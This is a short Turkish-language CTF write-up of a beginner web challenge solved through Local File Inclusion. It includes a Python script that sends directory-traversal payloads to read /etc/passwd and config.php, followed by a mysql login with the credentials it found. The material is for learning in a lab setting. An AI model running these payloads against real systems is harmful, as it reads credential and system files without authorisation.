← Back to Write-ups

İlk Siber Vatan CTF Çözümüm: Web-Sec 101

2026-08-06

"Siber Vatan CTF yarışmasında karşılaştığım ilk web zafiyeti çözüm adımları."

Web-Sec 101 İncelemesi

Bu CTF senaryosunda, zafiyetli bir web uygulamasında Local File Inclusion (LFI) açıklarını tespit ederek bayrağı (flag) nasıl ele geçirdiğimi anlatıyorum.

İlk olarak sistemin dosya okuma uç noktalarını analiz ettim. Dizin geçiş (directory traversal) zafiyetinden şüphelenerek aşağıdaki basit Python script'ini yazdım.

import requests

url = "http://target-machine.local/view?file="
payloads = [
    "../../../../etc/passwd",
    "../../../../var/www/html/config.php"
]

for payload in payloads:
    res = requests.get(url + payload)
    if "root:x:0:0" in res.text or "DB_PASSWORD" in res.text:
        print(f"[+] Zafiyet tespit edildi! Payload: {payload}")
        print(res.text[:200])

Daha sonra bulduğum config.php içindeki kimlik bilgilerini kullanarak veritabanına bağlandım ve bayrağı okudum:

mysql -h target-machine.local -u admin -p
> SELECT flag FROM secrets;

Kazanımlar:

  • LFI zafiyetlerinin temel mantığını anladım.
  • Otomasyon scriptleri ile keşif sürecini hızlandırmayı deneyimledim.